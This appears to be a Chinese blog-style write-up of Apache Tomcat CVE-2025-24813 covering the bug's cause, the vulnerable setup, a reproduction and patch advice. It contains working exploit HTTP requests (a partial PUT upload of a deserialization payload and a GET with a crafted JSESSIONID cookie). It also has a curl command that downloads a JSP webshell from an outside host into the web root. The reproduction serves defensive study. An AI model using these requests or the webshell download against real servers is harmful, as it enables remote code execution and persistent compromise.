Apache Tomcat命令执行漏洞(CVE-2025-24813)复现与修复方案
本文主要讲解关于Apache Tomcat命令执行漏洞(CVE-2025-24813),详细阐述其原理、复现过程以及修复方法。大家可以关注下~
一、漏洞概述
Apache Tomcat作为一款广泛使用的开源、轻量级Web应用服务器和Servlet容器,由Apache软件基金会的Jakarta项目开发,在Java Web服务器领域占据重要地位。然而,CVE-2025-24813漏洞的出现,给使用特定版本Tomcat的用户带来了安全隐患。
该漏洞影响范围涵盖了多个版本区间,具体包括9.0.0.M1至9.0.98、10.1.0-M1至10.1.34以及11.0.0-M1至11.0.2 。
二、漏洞原理
在Tomcat处理HTTP PUT请求时,Content-Range
主要用于实现大文件的分块传输。当文件上传未完成时,上传的内容会临时存储在Tomcat的工作目录$CATALINA_BASE/work/Catalina/localhost/ROOT
下。
此漏洞的关键在于Tomcat对不完整PUT请求上传时文件名的处理机制。在这种情况下,文件路径中的分隔符/
会被转换为..
。例如,原本访问/xxxxx/session
,会被解析成..xxxxx.session
。
而Tomcat的File会话存储默认路径同样位于CATALINA_BASE/work/Catalina/localhost/ROOT
。当应用程序存在反序列化利用链时,攻击者就可以上传包含恶意序列化数据的文件,再通过设置JSESSIONID=..xxxxx
来触发漏洞,进而实现命令执行。
三、环境搭建步骤
漏洞利用环境的搭建存在一定复杂性,需要同时满足多个条件,攻击者才能够执行任意代码。这些条件如下:
- 启用DefaultServlet写权限:在
conf/web.xml
文件中,将DefaultServlet的readonly
配置修改为false
,以此启用写入功能。相关配置代码如下:
<init-param> <param-name>readonly</param-name> <param-value>false</param-value> </init-param>
- 确保PUT方法可用:PUT方法在Tomcat中默认是开启的,这一条件通常无需额外配置。
- 开启File文件会话存储:在
conf/context.xml
文件中添加如下配置,开启File文件会话存储:
<Manager className="org.apache.catalina.session.PersistentManager"> <Store className="org.apache.catalina.session.FileStore"/> </Manager>
- 添加反序列化利用库:下载
commons - collections - 3.2.1.jar
包,并将其放置在webappsROOTWEB-INFlib
目录下。若该目录不存在,则需要手动创建。下载链接为:https://repo1.maven.org/maven2/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar。
完成上述配置后,启动Tomcat,点击bin
目录下的startup.bat
文件即可。
四、漏洞复现过程
- 生成利用payload:借助【Yso-Java Hack】模块,快速生成用于漏洞利用的payload。
- 上传恶意文件:使用以下数据包进行上传操作。需要注意的是,
Range
的分块值要与Length
保持一致,并且大于当前文件的实际长度。
PUT /xxxxx/session HTTP/1.1 Host: 127.0.0.1:8080 Content-Length: 1000 Content-Range: bytes 0-1000/1200 {{反序列化文件内容}}
- 触发漏洞:利用以下POC来触发漏洞:
GET / HTTP/1.1 Host: 127.0.0.1:8080 Cookie: JSESSIONID=..xxxxx
- 上传webshell(可选):如果想要进一步获取更多权限,也可以上传webshell。不过需要注意,默认执行
cmd
的位置是bin
目录,直接将webshell上传到该目录可能无法达到预期效果,需要修改上传路径。例如,使用curl -o "..webappsROOTshell.jsp" "https://www.plumstar.cn/shell.jsp"
命令上传。但在上传过程中,如果遇到写入失败的情况,可能是因为本地普通用户没有写文件的权限,此时需要进行相应的权限设置。
需要注意的是,上传成功的jsp
马虽然存在,但可能由于Tomcat的某些机制,直接访问时无法读取。
五、修复方案
针对此漏洞,Apache基金会官方已经发布了漏洞公告。用户可以通过下载补丁进行更新,修复链接为:https://lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq 。及时更新补丁,能够有效避免因该漏洞导致的安全风险。
通过对Apache Tomcat命令执行漏洞(CVE-2025-24813)的深入分析和复现,大家如果项目存在该漏洞,务必重视,及时更新软件版本修复。